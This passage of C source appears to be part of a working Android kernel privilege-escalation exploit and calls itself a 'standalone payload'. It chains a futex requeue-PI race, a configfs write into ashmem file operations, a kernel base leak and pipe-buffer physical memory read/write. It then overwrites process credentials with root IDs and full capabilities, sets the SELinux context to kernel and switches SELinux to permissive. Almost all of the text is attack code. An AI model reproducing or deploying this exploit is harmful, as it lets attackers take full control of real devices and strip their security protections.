close(root_ready_pipe[1]); char ready; ssize_t got = read(root_ready_pipe[0], &ready, sizeof(ready)); return got == (ssize_t)sizeof(ready); } static int collect_root_child(void) { if (!root_shared) { return 0; } atomic_store(&root_shared->go, 1); for (int i = 0; i < 5000; i++) { if (atomic_load(&root_shared->done)) { break; } usleep(1000); } if (!atomic_load(&root_shared->done)) { return 0; } struct root_report report = root_shared->report; root_uid_after = report.uid_after; setgid_ret = report.setgid_ret; setuid_ret = report.setuid_ret; setenforce_ret = report.setenforce_ret; setenforce_errno = report.setenforce_errno; waitpid(root_child_pid, NULL, 0); return report.uid_after == 0 && report.euid_after == 0 && report.gid_after == 0 && report.egid_after == 0; } static uint64_t find_task_by_tgid(int fd, uint32_t want_tgid) { uint64_t head = data_addr(INIT_TASK_TASKS); uint64_t canonical_head = canon_addr(INIT_TASK_TASKS); uint64_t entry = pipe_read64(fd, head); task_walk_iters = 0; task_walk_last_entry = 0; task_walk_last_pid = 0; task_walk_last_tgid = 0; for (int i = 0; i < 4096; i++) { task_walk_iters = i + 1; task_walk_last_entry = entry; if (entry == canonical_head || entry == head) { break; } if (!is_direct_ptr(entry)) { break; } uint64_t task = entry - TASK_TASKS_OFF; uint32_t pid = pipe_read32(fd, task + TASK_PID_OFF); uint32_t tgid = pipe_read32(fd, task + TASK_TGID_OFF); task_walk_last_pid = pid; task_walk_last_tgid = tgid; char comm[TASK_COMM_LEN + 1]; memset(comm, 0, sizeof(comm)); pipe_phys_read_data(fd, task + TASK_COMM_OFF, comm, TASK_COMM_LEN); if (tgid == want_tgid || pid == want_tgid) { found_task_pid = pid; found_task_tgid = tgid; memcpy(found_task_comm, comm, sizeof(found_task_comm)); return task; } entry = pipe_read64(fd, task + TASK_TASKS_OFF); } return 0; } static int patch_cred_identity(int fd, uintptr_t cred) { if (!is_direct_ptr(cred)) { return 0; } uint64_t zero_ids[4] = {0}; if (!pipe_phys_write_data(fd, cred + CRED_UID_OFF, zero_ids, sizeof(zero_ids))) { return 0; } uint32_t securebits = 0; if (!pipe_phys_write_data(fd, cred + CRED_SECUREBITS_OFF, &securebits, sizeof(securebits))) { return 0; } uint64_t caps[5] = { CAP_FULL, CAP_FULL, CAP_FULL, CAP_FULL, CAP_FULL, }; if (!pipe_phys_write_data(fd, cred + CRED_CAPS_OFF, caps, sizeof(caps))) { return 0; } return 1; } static int patch_cred_sid(int fd, uintptr_t cred) { uint64_t security = pipe_read64(fd, cred + CRED_SECURITY_OFF); if (!is_direct_ptr(security)) { pr_info("root bad cred security cred=%016llx security=%016llx\n", (unsigned long long)cred, (unsigned long long)security); return 0; } uint32_t sid_pair[2] = { target_cred_osid, target_cred_sid, }; return pipe_phys_write_data(fd, security + SELINUX_CRED_BLOB_OFF + SELINUX_CRED_OSID_OFF, sid_pair, sizeof(sid_pair)); } static int patch_cred_object(int fd, uintptr_t cred) { return patch_cred_identity(fd, cred) && patch_cred_sid(fd, cred); } static int install_android_root(int fd) { root_uid_before = getuid(); if (!spawn_root_child()) { pr_info("root spawn failed child=%d\n", root_child_pid); return 0; } pr_info("root child pid=%d uid_before=%u\n", root_child_pid, root_uid_before); uintptr_t selinux_addr = data_addr(SELINUX_ENFORCING); pipe_phys_read_data(fd, selinux_addr, &selinux_before, sizeof(selinux_before)); target_cred_osid = SELINUX_KERNEL_SID; target_cred_sid = SELINUX_KERNEL_SID; pr_info("root target sid initial kernel osid=%u sid=%u\n", target_cred_osid, target_cred_sid); init_tasks_prev = pipe_read64(fd, data_addr(INIT_TASK_TASKS) + 8); pr_info("root init_tasks_prev=%016llx head=%016llx selinux_alias=%016zx selinux_before=%u\n", (unsigned long long)init_tasks_prev, (unsigned long long)data_addr(INIT_TASK_TASKS), selinux_addr, selinux_before); if (!is_direct_ptr(current_task_addr)) { current_task_addr = 0; } if (!is_direct_ptr(init_tasks_prev)) { pr_info("root bad init_tasks_prev=%016llx\n", (unsigned long long)init_tasks_prev); return 0; } current_task_addr = init_tasks_prev - TASK_TASKS_OFF; last_task_guess = current_task_addr; found_task_pid = pipe_read32(fd, current_task_addr + TASK_PID_OFF); found_task_tgid = pipe_read32(fd, current_task_addr + TASK_TGID_OFF); memset(found_task_comm, 0, sizeof(found_task_comm)); pipe_phys_read_data(fd, current_task_addr + TASK_COMM_OFF, found_task_comm, TASK_COMM_LEN); pr_info("root first task=%016llx pid=%u tgid=%u comm=%s\n", (unsigned long long)current_task_addr, found_task_pid, found_task_tgid, found_task_comm); if (found_task_tgid != (uint32_t)root_child_pid) { current_task_addr = find_task_by_tgid(fd, (uint32_t)root_child_pid); if (!is_direct_ptr(current_task_addr)) { pr_info("root task walk failed want=%u iters=%d last=%016llx pid=%u tgid=%u\n", (uint32_t)root_child_pid, task_walk_iters, (unsigned long long)task_walk_last_entry, task_walk_last_pid, task_walk_last_tgid); return 0; } pr_info("root task walk found task=%016llx pid=%u tgid=%u comm=%s iters=%d\n", (unsigned long long)current_task_addr, found_task_pid, found_task_tgid, found_task_comm, task_walk_iters); } current_real_cred_addr = pipe_read64(fd, current_task_addr + TASK_REAL_CRED_OFF); current_cred_addr = pipe_read64(fd, current_task_addr + TASK_CRED_OFF); current_cred_security_addr = pipe_read64(fd, current_cred_addr + CRED_SECURITY_OFF); current_real_cred_security_addr = pipe_read64(fd, current_real_cred_addr + CRED_SECURITY_OFF); if (is_direct_ptr(current_cred_security_addr)) { cred_sid_before = pipe_read32(fd, current_cred_security_addr + SELINUX_CRED_BLOB_OFF + SELINUX_CRED_SID_OFF); } if (is_direct_ptr(current_real_cred_security_addr)) { real_cred_sid_before = pipe_read32(fd, current_real_cred_security_addr + SELINUX_CRED_BLOB_OFF + SELINUX_CRED_SID_OFF); } pr_info("root cred task=%016llx cred=%016llx real=%016llx sec=%016llx/%016llx sid=%u/%u\n", (unsigned long long)current_task_addr, (unsigned long long)current_cred_addr, (unsigned long long)current_real_cred_addr, (unsigned long long)current_cred_security_addr, (unsigned long long)current_real_cred_security_addr, cred_sid_before, real_cred_sid_before); if (!patch_cred_object(fd, current_cred_addr)) { pr_info("root patch cred failed cred=%016llx\n", (unsigned long long)current_cred_addr); return 0; } if (current_real_cred_addr != current_cred_addr && !patch_cred_object(fd, current_real_cred_addr)) { pr_info("root patch real_cred failed real=%016llx\n", (unsigned long long)current_real_cred_addr); return 0; } if (is_direct_ptr(current_cred_security_addr)) { cred_sid_after = pipe_read32(fd, current_cred_security_addr + SELINUX_CRED_BLOB_OFF + SELINUX_CRED_SID_OFF); } if (is_direct_ptr(current_real_cred_security_addr)) { real_cred_sid_after = pipe_read32(fd, current_real_cred_security_addr + SELINUX_CRED_BLOB_OFF + SELINUX_CRED_SID_OFF); } pr_info("root cred patched sid=%u/%u\n", cred_sid_after, real_cred_sid_after); uint8_t permissive = 0; pipe_phys_write_data(fd, selinux_addr, &permissive, sizeof(permissive)); uint8_t selinux_mid = 0xff; pipe_phys_read_data(fd, selinux_addr, &selinux_mid, sizeof(selinux_mid)); pr_info("root selinux direct write %u->%u\n", selinux_before, selinux_mid); capable_head_before = pipe_read64(fd, data_addr(SECURITY_CAPABLE_HEAD)); root_child_done = collect_root_child(); capable_head_after = pipe_read64(fd, data_addr(SECURITY_CAPABLE_HEAD)); pipe_phys_read_data(fd, selinux_addr, &selinux_after, sizeof(selinux_after)); pr_info("root child result done=%d uid_after=%u setgid=%d setuid=%d setenforce=%d/%d selinux=%u->%u cap=%016llx/%016llx\n", root_child_done, root_uid_after, setgid_ret, setuid_ret, setenforce_ret, setenforce_errno, selinux_before, selinux_after, (unsigned long long)capable_head_before, (unsigned long long)capable_head_after); return root_child_done && selinux_after == 0; } static int install_pipe_physrw(int fd) { if (pipebuf_page_base == 0) { atomic_store(&pipe_prepare_done, 0); atomic_store(&pipe_prepare_request, 1); while (!atomic_load(&pipe_prepare_done)) { usleep(10000); } } uintptr_t proof_addr = page_base + PHYSRW_PROOF_OFF; uintptr_t proof_page = page_to_direct(direct_to_page(proof_addr)); pr_info("phys step proof_addr=%016zx proof_page=%016zx pipe_page=%016zx idx=%d\n", proof_addr, proof_page, pipebuf_page_base, pipebuf_pipe_idx); if (proof_page != (proof_addr & ~(PAGE_SIZE - 1))) { return 0; } if (!pipe_reclaim_cache_gate(fd)) { pr_info("phys step cache gate failed slab=%016zx want=%016zx\n", candidate_slab_cache, kmalloc_pipe_cache); } char marker[PIPE_RECLAIM]; memset(marker, 0x61, sizeof(marker)); for (size_t i = 0; i < PIPE_RECLAIM; i++) { SYSCHK(write(pipe_fds_reclaim[i][1], marker, i + 1)); } int found = find_pipe_buffer(fd, pipebuf_page_base); pr_info("phys step pipe probe found=%d pipebuf=%016zx idx=%d scan=%d/%d/%d q=%016zx,%016zx,%016zx,%016zx first=%016zx,%016zx,%x,%x match=%016llx,%016llx,%x,%x,%016llx\n", found, pipebuf_addr, pipebuf_pipe_idx, pipe_scan_vmemmap, pipe_scan_ops, pipe_scan_len, pipe_scan_q0, pipe_scan_q1, pipe_scan_q2, pipe_scan_q3, pipe_scan_first_page, pipe_scan_first_ops, pipe_scan_first_len, pipe_scan_first_flags, (unsigned long long)pipe_probe_page, (unsigned long long)pipe_probe_ops, pipe_probe_len, pipe_probe_flags, (unsigned long long)pipe_probe_private); if (!found) { return 0; } if (!pipe_cache_gate_ok) { pipe_cache_gate_ok = 2; } char seed[] = PHYSRW_READ_MARKER; pr_info("phys step seed write\n"); if (kernel_write_data(fd, proof_addr, seed, sizeof(seed)) != (ssize_t)sizeof(seed)) { return 0; } memset(physrw_readback, 0, sizeof(physrw_readback)); pr_info("phys step probed read\n"); physrw_read_ok = pipe_phys_read_data(fd, proof_addr, physrw_readback, sizeof(seed)); pr_info("phys step probed read done ok=%d idx=%d\n", physrw_read_ok, pipebuf_pipe_idx); char overwrite[] = PHYSRW_WRITE_MARKER; pr_info("phys step probed write\n"); physrw_write_ok = pipe_phys_write_data(fd, proof_addr, overwrite, sizeof(overwrite)); pr_info("phys step probed write done ok=%d\n", physrw_write_ok); kernel_read_data(fd, proof_addr, physrw_after_write, sizeof(overwrite)); uintptr_t proof64_addr = proof_addr + 0x100; uint64_t seed64 = 0x5048595352573634ULL; uint64_t next64 = PHYSRW_WRITE64_VALUE; pr_info("phys step rw64 seed\n"); kernel_write_data(fd, proof64_addr, &seed64, sizeof(seed64)); physrw_read64_before = pipe_read64(fd, proof64_addr); physrw_read64_ok = physrw_read64_before == seed64; pr_info("phys step read64 done ok=%d value=%016zx\n", physrw_read64_ok, physrw_read64_before); physrw_write64_value = next64; physrw_write64_ok = pipe_write64(fd, proof64_addr, next64); kernel_read_data(fd, proof64_addr, &physrw_read64_after, sizeof(physrw_read64_after)); physrw_write64_ok = physrw_write64_ok && physrw_read64_after == physrw_write64_value; return physrw_read_ok && memcmp(physrw_readback, seed, sizeof(seed)) == 0 && physrw_write_ok && memcmp(physrw_after_write, overwrite, sizeof(overwrite)) == 0 && physrw_read64_ok && physrw_write64_ok; } static int install_child_root(int fd) { return install_pipe_physrw(fd) && install_android_root(fd); } static int try_cfi_stage(void) { cfi_attempts++; int fd = open_ashmem_device(); int dirty = 0; int can_read_back = 0; char payload[] = "CFI_FRIENDLY_CONFIGFS_BIN_WRITE_OK"; ssize_t n = configfs_write_once(fd, binwrite_target, payload, sizeof(payload)); cfi_write_ret = n; if (n != (ssize_t)sizeof(payload)) { cfi_last_step = 1; cfi_last_errno = errno; goto fail; } dirty = 1; cfi_dirty_seen = 1; uint64_t null_read_slot = 0; ssize_t read_slot = configfs_write_once(fd, fake_fops + 0x10, &null_read_slot, sizeof(null_read_slot)); cfi_read_slot_ret = read_slot; if (read_slot != (ssize_t)sizeof(null_read_slot)) { cfi_last_step = 2; cfi_last_errno = errno; goto fail; } can_read_back = 1; char readback[sizeof(payload)]; memset(readback, 0, sizeof(readback)); ssize_t r = configfs_read_once(fd, binwrite_target, readback, sizeof(readback)); cfi_read_ret = r; if (r != (ssize_t)sizeof(readback) || memcmp(readback, payload, sizeof(payload)) != 0) { cfi_last_step = 3; cfi_last_errno = errno; goto fail; } if (!restore_stage0_boot_id(fd)) { cfi_last_step = 10; cfi_last_errno = errno; goto fail; } if (!leak_kernel_base(fd)) { cfi_last_step = 9; cfi_last_errno = errno; goto fail; } uint64_t before = 0; ssize_t rb = configfs_read_once(fd, data_addr(ASHMEM_MISC_FOPS), &before, sizeof(before)); fops_before = before; if (rb != (ssize_t)sizeof(before) || before != fake_fops) { cfi_last_step = 4; cfi_last_errno = errno; goto fail; } int installed = 0; pipe_stage_attempts = 0; for (int attempt = 0; attempt < PIPE_MAX_ATTEMPTS; attempt++) { pipe_stage_attempts++; if (attempt != 0) { reset_pipe_attempt(); } if (install_child_root(fd)) { installed = 1; break; } if (pipe_cache_gate_ok && physrw_read_ok && physrw_write_ok && physrw_read64_ok && physrw_write64_ok) { break; } } if (!installed) { cfi_last_step = 8; cfi_last_errno = errno; goto fail; } uint64_t original_fops = canon_addr(ASHMEM_FOPS); ssize_t restore = configfs_write_once(fd, data_addr(ASHMEM_MISC_FOPS), &original_fops, sizeof(original_fops)); cfi_restore_ret = restore; if (restore != (ssize_t)sizeof(original_fops)) { cfi_last_step = 5; cfi_last_errno = errno; goto fail; } uint64_t after = 0; ssize_t ra = configfs_read_once(fd, data_addr(ASHMEM_MISC_FOPS), &after, sizeof(after)); fops_after = after; if (ra != (ssize_t)sizeof(after) || after != canon_addr(ASHMEM_FOPS)) { cfi_last_step = 6; cfi_last_errno = errno; goto fail; } uint64_t null_owner = 0; ssize_t owner = configfs_write_once(fd, fake_fops, &null_owner, sizeof(null_owner)); cfi_owner_ret = owner; SYSCHK(close(fd)); if (owner == (ssize_t)sizeof(null_owner) && restore == (ssize_t)sizeof(original_fops)) { cfi_last_step = 0; cfi_last_errno = 0; atomic_store(&cfi_stage_done, 1); return 1; } cfi_last_step = 7; cfi_last_errno = errno; return 0; fail: if (dirty) { uint64_t original_fops_fail = kaslr_done ? canon_addr(ASHMEM_FOPS) : p0_data_alias(ASHMEM_FOPS); cfi_restore_ret = configfs_write_once(fd, data_addr(ASHMEM_MISC_FOPS), &original_fops_fail, sizeof(original_fops_fail)); if (can_read_back && cfi_restore_ret == (ssize_t)sizeof(original_fops_fail)) { uint64_t after_fail = 0; if (configfs_read_once(fd, data_addr(ASHMEM_MISC_FOPS), &after_fail, sizeof(after_fail)) == (ssize_t)sizeof(after_fail)) { fops_after = after_fail; } } uint64_t null_owner_fail = 0; cfi_owner_ret = configfs_write_once(fd, fake_fops, &null_owner_fail, sizeof(null_owner_fail)); } SYSCHK(close(fd)); return 0; } static void *waiter_thread(void *arg __attribute__((unused))) { disable_rseq_for_thread(); int tid = (int)syscall(SYS_gettid); atomic_store(&waiter_tid, tid); pr_info("waiter tid=%d\n", tid); if (futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) { pr_error("worker setup failed errno=%d\n", errno); } atomic_store(&waiter_ready, 1); while (!atomic_load(&owner_started)) { usleep(1000); } struct timespec timeout; SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout)); timeout.tv_sec += ROUTE_WAIT_SECONDS; atomic_store(&waiter_waiting, 1); futex_op(&f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, &f_pi_target, 0); futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0); while (!atomic_load(&owner_chain_done)) { usleep(1000); } do_tcp_fake_lock_route(); atomic_store(&route_done, 1); return NULL; } static void *owner_thread(void *arg __attribute__((unused))) { disable_rseq_for_thread(); pr_info("owner tid=%ld\n", syscall(SYS_gettid)); long lock_target = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0); if (lock_target != 0) { pr_error("owner setup failed errno=%d\n", errno); } pr_info("owner lock target ret=%ld errno=%d\n", lock_target, errno); while (!atomic_load(&waiter_ready)) { usleep(1000); } atomic_store(&owner_started, 1); futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0); atomic_store(&owner_chain_done, 1); for (;;) { sleep(1); } } static void *consumer_thread(void *arg __attribute__((unused))) { disable_rseq_for_thread(); pin_to_core(TCP_CONSUMER_CORE); int seen = 0; while (!atomic_load(&punch_consume_stop)) { int seq = atomic_load(&punch_consume_go); if (seq == 0 || seq == seen) { __asm__ volatile("yield" ::: "memory"); continue; } seen = seq; int tid = atomic_load(&waiter_tid); int calls_this_seq = 0; while (!atomic_load(&punch_consume_stop) && atomic_load(&punch_consume_go) == seq) { for (int spin = 0; spin < TCP_CONSUME_DELAY; spin++) { __asm__ volatile("yield" ::: "memory"); } if (atomic_load(&punch_consume_stop) || atomic_load(&punch_consume_go) != seq) { continue; } atomic_fetch_add(&consumer_calls, 1); if (sched_setattr_tid(tid, 19) == 0) { atomic_fetch_add(&consumer_success, 1); } calls_this_seq++; if (calls_this_seq >= CONSUMER_MAX_CALLS) { atomic_store(&punch_consume_go, 0); break; } } } return NULL; } static void exit_cleanly(int signo) { if (signo == SIGTERM) { _exit(0); } _exit(0); } int main(void) { signal(SIGTERM, exit_cleanly); disable_rseq_for_thread(); set_unbuffer(); set_limit(); pr_success("native payload start pid=%d\n", getpid()); init_ashmem_path(); pin_to_core(CORE); if (!stage0_leak_kernel_base()) { pr_error("stage 1 failed\n"); return 1; } pin_to_core(CORE); page_base = prepare_good_kernel_page(PAGE_PAYLOAD_FOPS); pr_success("stage 2 workspace ready\n"); pthread_t waiter; pthread_t owner; pthread_t consumer; SYSCHK(pthread_create(&waiter, NULL, waiter_thread, NULL)); SYSCHK(pthread_create(&owner, NULL, owner_thread, NULL)); SYSCHK(pthread_create(&consumer, NULL, consumer_thread, NULL)); while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started)) { usleep(1000); } usleep(100000); futex_op(&f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1, &f_pi_target, 0); while (!atomic_load(&route_done)) { if (atomic_exchange(&pipe_prepare_request, 0)) { pipebuf_page_base = prepare_pipe_buffer_page(); pr_success("stage 3 candidate ready\n"); atomic_store(&pipe_prepare_done, 1); } usleep(10000); } pr_success("result memory=%d root=%d kaslr=%d base=%016zx uid=%u->%u selinux=%u->%u control=%d/%d\n", atomic_load(&cfi_stage_done), root_child_done, kaslr_done, kaslr_base, root_uid_before, root_uid_after, selinux_before, selinux_after, setenforce_ret, setenforce_errno); if (pipe_prepare_child > 0) { SYSCHK(kill(pipe_prepare_child, SIGKILL)); SYSCHK(waitpid(pipe_prepare_child, NULL, 0)); } sleep(5); return 0; } /* end standalone payload */